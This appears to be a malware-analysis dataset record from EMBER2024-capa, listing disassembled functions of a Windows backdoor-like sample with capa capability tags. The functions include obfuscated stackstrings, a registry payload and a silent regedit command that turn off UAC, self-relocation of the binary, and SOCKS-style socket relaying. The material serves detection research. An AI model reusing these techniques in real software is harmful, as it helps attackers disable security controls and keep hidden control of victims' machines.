joyce8/EMBER2024-capa huggingface dataset:
Function at 0x418930
Capabilities:
Enumerate devices by category

Disassembly:
sub esp, 0x24
push ebx
xor ebx, ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [esp + 0x10]
push eax
push 0x4fe040
push 1
push ebx
push 0x4fe060
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
je 0x418960
xor eax, eax
pop ebx
add esp, 0x24
ret
mov eax, dword [esp + 0x10]
lea edx, [esp + 4]
push 0
push edx
mov ecx, dword [eax]
push 0x4fe050
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x418981
xor eax, eax
pop ebx
add esp, 0x24
ret
mov eax, dword [esp + 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [esp + 4]
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0xc]
mov edx, dword [eax]
push ecx
push 1
push eax
call dword [edx + 0xc]
test eax, eax
jne 0x418a20
push edi
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push ecx
push 0x4c98e0
mov edx, dword [eax]
push 0
push 0
push eax
call dword [edx + 0x24]
test eax, eax
jl 0x4189fb
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
push 0
mov word [esp + 0x20], 8
mov edx, dword [eax]
push ecx
push str.FriendlyName
push eax
call dword [edx + 0xc]
test eax, eax
jne 0x4189f1
mov edx, dword [esp + 0x24]
inc ebx
push edx
call edi
mov eax, dword [esp + 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0xc]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp + 8]
lea edx, [esp + 0x18]
push edx
lea edx, [esp + 0x10]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x4189ac
pop edi
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, ebx
pop ebx
add esp, 0x24
ret

Function at 0x418a50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x38
mov al, 0x74
push esi
mov byte [esp + 6], al
mov byte [esp + 9], al
mov byte [esp + 0x10], al
lea eax, [esp + 4]
mov cl, 0x65
push eax
push str.kernel32.dll
xor esi, esi
mov byte [esp + 0xc], 0x47
mov byte [esp + 0xd], cl
mov byte [esp + 0xf], 0x4e
mov byte [esp + 0x10], 0x61
mov byte [esp + 0x12], 0x69
mov byte [esp + 0x13], 0x76
mov byte [esp + 0x14], cl
mov byte [esp + 0x15], 0x53
mov byte [esp + 0x16], 0x79
mov byte [esp + 0x17], 0x73
mov byte [esp + 0x19], cl
mov byte [esp + 0x1a], 0x6d
mov byte [esp + 0x1b], 0x49
mov byte [esp + 0x1c], 0x6e
mov byte [esp + 0x1d], 0x66
mov byte [esp + 0x1e], 0x6f
mov byte [esp + 0x1f], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x418af5
lea ecx, [esp + 0x18]
push ecx
call eax
mov ax, word [esp + 0x18]
cmp ax, 9
je 0x418aeb
cmp ax, 6
jne 0x418af5
mov eax, 1
pop esi
add esp, 0x38
ret
mov eax, esi
pop esi
add esp, 0x38
ret
Function at 0x418d20
Capabilities:
Get hostname

Disassembly:
sub esp, 0x400
mov eax, dword [str.SYSTEMSetup]
mov ecx, dword [0x50d078]
mov edx, dword [0x50d07c]
mov dword [esp], eax
mov al, byte [0x50d080]
push ebx
push esi
push edi
mov dword [esp + 0x10], ecx
mov byte [esp + 0x18], al
mov ecx, 0xfc
xor eax, eax
lea edi, [esp + 0x19]
mov dword [esp + 0x14], edx
mov ebx, dword [esp + 0x414]
mov esi, dword [esp + 0x410]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, ebx
push 0
stosb byte es:[edi], al
mov edx, ecx
xor eax, eax
mov edi, esi
push ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
push esi
rep stosb byte es:[edi], al
push 1
lea eax, [esp + 0x20]
push str.Host
push eax
push reloc.WS2_32.dll_bind
call fcn.00412ec0
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x20
push esi
call edi
test eax, eax
jne 0x418db5
push ebx
push esi
call dword [sym.imp.WS2_32.dll_gethostname]
push esi
call edi
pop edi
pop esi
pop ebx
add esp, 0x400
ret
Function at 0x419480
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ecx
lea eax, [esp]
push 0
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x4194da
mov eax, dword [esp]
mov ecx, eax
and ecx, 1
cmp cl, 1
jne 0x4194a7
mov eax, str.MODEM_l
pop ecx
ret
mov edx, eax
and edx, 2
cmp dl, 2
jne 0x4194b8
mov eax, str.LAN_l
pop ecx
ret
mov ecx, eax
and ecx, 4
cmp cl, 4
jne 0x4194c9
mov eax, str.PROXY_l
pop ecx
ret
and eax, 8
cmp al, 8
mov eax, str.BUSY_l
je 0x4194da
mov eax, str.OTHER_l
pop ecx
ret
Function at 0x419560
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x30c
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x111]
mov byte [esp + 0x110], 0
mov esi, str.CTXOPConntion_Class
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 5
lea edi, [esp + 0xc]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x20]
mov byte [esp + 0x214], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x215]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov ebp, eax
test ebp, ebp
je 0x4196e0
mov esi, str.CTXOPConntion_Class
lea eax, [esp + 0xc]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x4195fd
test cl, cl
je 0x4195f9
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x4195fd
add eax, 2
add esi, 2
test cl, cl
jne 0x4195d9
xor eax, eax
jmp 0x419602
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4196bc
lea eax, [esp + 0xc]
push 0x104
push eax
push ebp
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov al, byte [esp + ecx + 0xb]
dec ecx
cmp al, 0x5f
jne 0x419629
lea edi, [esp + ecx + 0xd]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x214]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x214]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x110]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x50c564
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 2
push ebp
call dword [sym.imp.USER32.dll_GetWindow]
mov ebp, eax
lea eax, [esp + 0xc]
push 0x104
push eax
push ebp
call dword [sym.imp.USER32.dll_GetClassNameA]
test ebp, ebp
jne 0x4195d0
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x110]
push ecx
call fcn.004194e0
lea edi, [esp + 0x114]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
pop esi
cmp ecx, 4
pop ebp
lea eax, [esp + 0x104]
ja 0x41971c
mov eax, str.NULL
add esp, 0x30c
ret
Function at 0x419de0
Capabilities:
Get common file path

Disassembly:
mov eax, dword [0x50e2ec]
sub esp, 0xa28
test eax, eax
jne 0x419ea4
lea eax, [esp + 0x618]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [0x50e2e4]
test eax, eax
je 0x419e2b
push str.Sainbox
lea ecx, [esp + 0x824]
push str.SYSTEMCurrentControlSetServices_S
push ecx
call fcn.0042daa6
add esp, 0xc
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea edx, [esp + 0x20c]
push 0x104
push edx
call esi
lea eax, [esp + 0x20c]
push str.lsass.exe
push eax
call fcn.0042cd7d
add esp, 8
lea ecx, [esp + 0x414]
push 0x104
push ecx
call esi
lea edx, [esp + 0x414]
push str.lsm.exe
push edx
call fcn.0042cd7d
add esp, 8
lea eax, [esp + 4]
push 0x104
push eax
call esi
lea ecx, [esp + 4]
push str._audiodg.exe
push ecx
call fcn.0042cd7d
add esp, 8
xor eax, eax
pop esi
add esp, 0xa28
ret 4
xor eax, eax
add esp, 0xa28
ret 4
Function at 0x41d120
Capabilities:
Print debug messages

Disassembly:
mov eax, dword [0x51eb14]
sub esp, 0x208
test eax, eax
je 0x41d142
push eax
call fcn.004a2b08
add esp, 4
mov dword [0x51eb14], 0
mov eax, dword [esp + 0x20c]
push ebx
push esi
push edi
test eax, eax
jne 0x41d1cf
mov ecx, 9
mov esi, str.www.ip123.com.cn_ipadd.asp_Serch_IP
lea edi, [esp + 0xc]
lea edx, [esp + 0xc]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x78
lea edi, [esp + 0x31]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, str.10.128.154.124
or ecx, 0xffffffff
xor eax, eax
push str.__a___div_
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x50ee60
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.0041cc90
add esp, 0xc
mov dword [0x51eb14], eax
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x51eb14]
pop edi
pop esi
pop ebx
add esp, 0x208
ret
cmp eax, 1
jne 0x41d260
mov ecx, 6
mov esi, str.www.ip38.com_ip.php_ip
lea edi, [esp + 0xc]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x7c
lea edi, [esp + 0x24]
rep stosd dword es:[edi], eax
mov edi, str.10.128.154.124
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0xc]
and ecx, 3
push str.__font_
rep movsb byte es:[edi], byte [esi]
mov edi, str.action2
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.colorFF0000_
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x14]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x41d2e3
mov ecx, 5
mov esi, str.www.cha127.com_dns_
lea edi, [esp + 0xc]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x7d
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
mov edi, str.10.128.154.124
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0xc]
and ecx, 3
push str.___br___
rep movsb byte es:[edi], byte [esi]
mov edi, str..html
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.gt_
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x14]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call fcn.0041cc90
add esp, 0xc
mov dword [0x51eb14], eax
pop edi
pop esi
pop ebx
add esp, 0x208
ret
Function at 0x41e2b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x548
push ebx
push edi
xor bl, bl
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x151]
mov byte [esp + 0x150], bl
lea edx, [esp + 0x150]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, 0x53
lea ecx, [esp + 0x14]
mov byte [esp + 0x14], al
mov byte [esp + 0x16], al
mov byte [esp + 0x1b], al
mov eax, dword [esp + 0x554]
push eax
push ecx
push edx
mov byte [esp + 0x21], 0x59
mov byte [esp + 0x23], 0x54
mov byte [esp + 0x24], 0x45
mov byte [esp + 0x25], 0x4d
mov byte [esp + 0x26], 0x5c
mov byte [esp + 0x28], 0x65
mov byte [esp + 0x29], 0x6c
mov byte [esp + 0x2a], 0x65
mov byte [esp + 0x2b], 0x63
mov byte [esp + 0x2c], 0x74
mov byte [esp + 0x2d], bl
call fcn.0042cdcc
add esp, 0xc
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x4d]
mov byte [esp + 0x4c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov cl, 0x25
mov dl, 0x32
stosb byte es:[edi], al
mov byte [esp + 0x24], cl
mov byte [esp + 0x28], cl
mov byte [esp + 0x2d], cl
mov byte [esp + 0x32], cl
mov byte [esp + 0x37], cl
mov ecx, dword [esp + 0x46]
mov al, 0x64
mov byte [esp + 0x2a], dl
mov byte [esp + 0x2f], dl
mov byte [esp + 0x34], dl
mov byte [esp + 0x39], dl
mov edx, dword [esp + 0x44]
mov byte [esp + 0x26], al
mov byte [esp + 0x2b], al
mov byte [esp + 0x30], al
mov byte [esp + 0x35], al
mov byte [esp + 0x3a], al
mov eax, dword [esp + 0x42]
and ecx, 0xffff
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x42]
and eax, 0xffff
push edx
mov byte [esp + 0x2d], 0x34
mov byte [esp + 0x2f], 0x2d
mov byte [esp + 0x31], 0x2e
mov byte [esp + 0x34], 0x2d
mov byte [esp + 0x36], 0x2e
mov byte [esp + 0x39], 0x20
mov byte [esp + 0x3b], 0x2e
mov byte [esp + 0x3e], 0x3a
mov byte [esp + 0x40], 0x2e
mov byte [esp + 0x43], bl
push eax
and ecx, 0xffff
mov edx, dword [esp + 0x48]
push ecx
and edx, 0xffff
lea eax, [esp + 0x34]
push edx
lea ecx, [esp + 0x60]
push eax
push ecx
call fcn.0042cdcc
lea edi, [esp + 0x68]
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + 0x6c]
push ecx
push edx
lea eax, [esp + 0x30]
push 1
lea ecx, [esp + 0x17c]
push eax
push ecx
push reloc.WS2_32.dll_bind
mov byte [esp + 0x40], 0x4d
mov byte [esp + 0x41], 0x61
mov byte [esp + 0x42], 0x72
mov byte [esp + 0x43], 0x6b
mov byte [esp + 0x44], 0x54
mov byte [esp + 0x45], 0x69
mov byte [esp + 0x46], 0x6d
mov byte [esp + 0x47], 0x65
mov byte [esp + 0x48], bl
call fcn.00413460
add esp, 0x38
pop edi
pop ebx
add esp, 0x548
ret
Function at 0x41e470
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x148
mov al, 0x50
push ebx
mov byte [esp + 9], al
mov byte [esp + 0x20], al
mov al, 0x73
push ebp
mov byte [esp + 0x2f], al
mov byte [esp + 0x31], al
push esi
lea eax, [esp + 0x28]
push edi
lea ecx, [esp + 0x10]
mov bl, 0x6c
push eax
push ecx
mov byte [esp + 0x18], 0x53
mov byte [esp + 0x19], 0x48
mov byte [esp + 0x1a], 0x4c
mov byte [esp + 0x1b], 0x57
mov byte [esp + 0x1c], 0x41
mov byte [esp + 0x1e], 0x49
mov byte [esp + 0x1f], 0x2e
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0
mov byte [esp + 0x35], 0x61
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x37], 0x68
mov byte [esp + 0x38], 0x46
mov byte [esp + 0x39], 0x69
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], 0x65
mov byte [esp + 0x3c], 0x45
mov byte [esp + 0x3d], 0x78
mov byte [esp + 0x3e], 0x69
mov byte [esp + 0x40], 0x74
mov byte [esp + 0x42], 0x41
mov byte [esp + 0x43], 0
call fcn.00419b40
mov ebp, eax
mov al, 0x72
mov byte [esp + 0x45], al
mov byte [esp + 0x4c], al
mov byte [esp + 0x51], al
lea edx, [esp + 0x44]
lea eax, [esp + 0x24]
push edx
push eax
mov byte [esp + 0x2c], 0x4b
mov byte [esp + 0x2d], 0x45
mov byte [esp + 0x2e], 0x52
mov byte [esp + 0x2f], 0x4e
mov byte [esp + 0x30], 0x45
mov byte [esp + 0x31], 0x4c
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x35], 0x64
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], bl
mov byte [esp + 0x38], 0
mov byte [esp + 0x4c], 0x43
mov byte [esp + 0x4e], 0x65
mov byte [esp + 0x4f], 0x61
mov byte [esp + 0x50], 0x74
mov byte [esp + 0x51], 0x65
mov byte [esp + 0x52], 0x44
mov byte [esp + 0x53], 0x69
mov byte [esp + 0x55], 0x65
mov byte [esp + 0x56], 0x63
mov byte [esp + 0x57], 0x74
mov byte [esp + 0x58], 0x6f
mov byte [esp + 0x5a], 0x79
mov byte [esp + 0x5b], 0x41
mov byte [esp + 0x5c], 0
call fcn.00419b40
add esp, 0x10
mov dword [esp + 0x50], eax
mov byte [esp + 0x54], 0
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x55]
rep stosd dword es:[edi], eax
mov ebx, dword [esp + 0x15c]
mov ecx, dword [0x51e6fc]
stosw word es:[edi], ax
push ebx
stosb byte es:[edi], al
call fcn.0040f5a0
mov edi, eax
xor esi, esi
test edi, edi
jbe 0x41e621
cmp byte [esi + ebx], 0x5c
jne 0x41e61c
push esi
lea ecx, [esp + 0x58]
push ebx
push ecx
mov ecx, dword [0x51e6fc]
call fcn.0040f510
lea edx, [esp + 0x54]
push edx
call ebp
test eax, eax
jne 0x41e61c
push eax
lea eax, [esp + 0x58]
push eax
call dword [esp + 0x58]
inc esi
cmp esi, edi
jb 0x41e5ef
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x148
ret
Function at 0x41e900
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
mov ecx, dword [0x51eb58]
sub esp, 0x208
lea eax, [esp + 0x104]
push 0x104
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp]
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [esp + 4]
push eax
lea ecx, [esp + 8]
push str._s_d.bak
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [esp]
lea eax, [esp + 0x104]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea ecx, [esp + 4]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
add esp, 0x208
ret

Function at 0x41eb40
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x41eb65
lea ecx, [esp + 0xc]
push 0
push ecx
push 0xf5
push str.Windows_Registry_Editor_Version_5.00____r_n____r_n_HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem_____r_n_EnableLUA_dword:00000000_r_n_r_n::
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x41eb83
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
ret

Function at 0x41eb90
Capabilities:
Copy file
Create process on windows
Delete file

Disassembly:
sub esp, 0x208
mov eax, dword [str.Uac.reg]
mov ecx, dword [0x50d1a8]
push esi
push edi
mov dword [esp + 8], eax
mov dword [esp + 0xc], ecx
lea edx, [esp + 0x10c]
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x10]
push 0xe1
push edx
rep stosd dword es:[edi], eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 8]
push 0
lea ecx, [esp + 0x110]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [esp + 8]
push edx
call fcn.0041eb40
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
push 0x294
call esi
push 0
push str.cmd__C__regedit__s_Uac.reg
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x3e8
call esi
push str.Uac.reg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
xor eax, eax
pop esi
add esp, 0x208
ret
Function at 0x421630
Capabilities:
Create thread
Send data
Send data on socket
Send http request

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
push 0x51eb98
stosb byte es:[edi], al
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [0x51eeb4]
push 0x51eb98
inc ecx
mov dword [0x51eeb4], ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [esp + 0x128]
lea eax, [esp + 0x14]
push eax
push edi
mov dword [esp + 0x1c], esi
call fcn.00421500
add esp, 8
cmp eax, esi
je 0x4217cf
mov ebx, dword [esp + 0x120]
cmp eax, 1
je 0x421716
cmp eax, 2
je 0x421716
cmp eax, 3
je 0x421716
cmp eax, 4
jne 0x42178f
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x130]
lea edx, [esp + 0x20]
sub ecx, eax
push edx
add eax, edi
push ecx
push eax
call fcn.00421470
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
lea ecx, [ebx + 4]
push eax
push ecx
call fcn.00421cc0
add esp, 0x1c
test eax, eax
je 0x4217cf
mov edi, str.HTTP_1.0_200_OK_r_n_r_n
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebx]
repne scasb al, byte es:[edi]
not ecx
push esi
push ecx
push str.HTTP_1.0_200_OK_r_n_r_n
push edx
call dword [sym.imp.WS2_32.dll_send]
jmp 0x42178f
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x12c]
mov ecx, dword [esp + 0x124]
push eax
push esi
push edi
push ecx
call fcn.004215a0
mov ebp, eax
add esp, 0x10
test ebp, ebp
je 0x4217cf
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
mov eax, dword [esp + 0x1c]
sub esi, eax
sub esi, 7
lea ecx, [eax + edi + 7]
push esi
push ecx
call fcn.00421470
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
lea esi, [ebx + 4]
push edx
push eax
push esi
call fcn.00421cc0
add esp, 0x1c
test eax, eax
je 0x4217cf
mov ecx, dword [esp + 0x124]
mov edx, dword [esi]
push 0
push ebp
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x4217cf
cmp dword [ebx], 0
je 0x4217cf
mov eax, dword [ebx + 4]
test eax, eax
je 0x4217cf
lea eax, [esp + 0x18]
push eax
push 0
push ebx
push 0x422750
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x4217bf
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10c
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret
Function at 0x4217e0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x204
push ebp
mov ebp, dword [esp + 0x210]
push esi
push edi
mov al, byte [ebp]
mov byte [esp + 0xe], 5
cmp al, 5
mov byte [esp + 0xf], 0
je 0x421810
pop edi
pop esi
and eax, 0xff
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 2]
lea esi, [ebp + 2]
test al, al
je 0x42182a
cmp al, 2
je 0x42182a
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov edi, 0x51ebb4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
neg ecx
sbb cl, cl
lea eax, [esp + 0x12]
and ecx, 2
push 2
mov byte [esp + 0x17], cl
mov ecx, dword [esp + 0x21c]
push eax
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x42186d
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
cmp byte [esp + 0xf], 2
jne 0x4219c3
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10]
push eax
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x114]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x218]
push 0x2000
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4219b7
test eax, eax
je 0x4219b7
cmp byte [ebp], 1
je 0x4218cd
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 1]
test al, al
je 0x4218f6
mov ecx, eax
and ecx, 0xff
cmp ecx, 0x100
jg 0x4218f6
mov edx, ecx
lea edi, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
and eax, 0xff
add eax, ebp
movsx ecx, byte [eax + 2]
test ecx, ecx
je 0x421925
cmp ecx, 0x100
jg 0x421925
lea esi, [eax + 3]
mov eax, ecx
lea edi, [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [esp + 0x10]
mov eax, 0x51ebb4
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x421952
test cl, cl
je 0x42194e
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x421952
add eax, 2
add esi, 2
test cl, cl
jne 0x42192e
xor eax, eax
jmp 0x421957
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x421999
lea esi, [esp + 0x110]
mov eax, 0x51ecb4
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x42198b
test cl, cl
je 0x421987
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x42198b
add eax, 2
add esi, 2
test cl, cl
jne 0x421967
xor eax, eax
jmp 0x421990
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x421999
mov byte [ebp + 1], al
jmp 0x42199d
mov byte [ebp + 1], 0xff
mov eax, dword [esp + 0x214]
push 0
push 2
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x4219c3
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x204
ret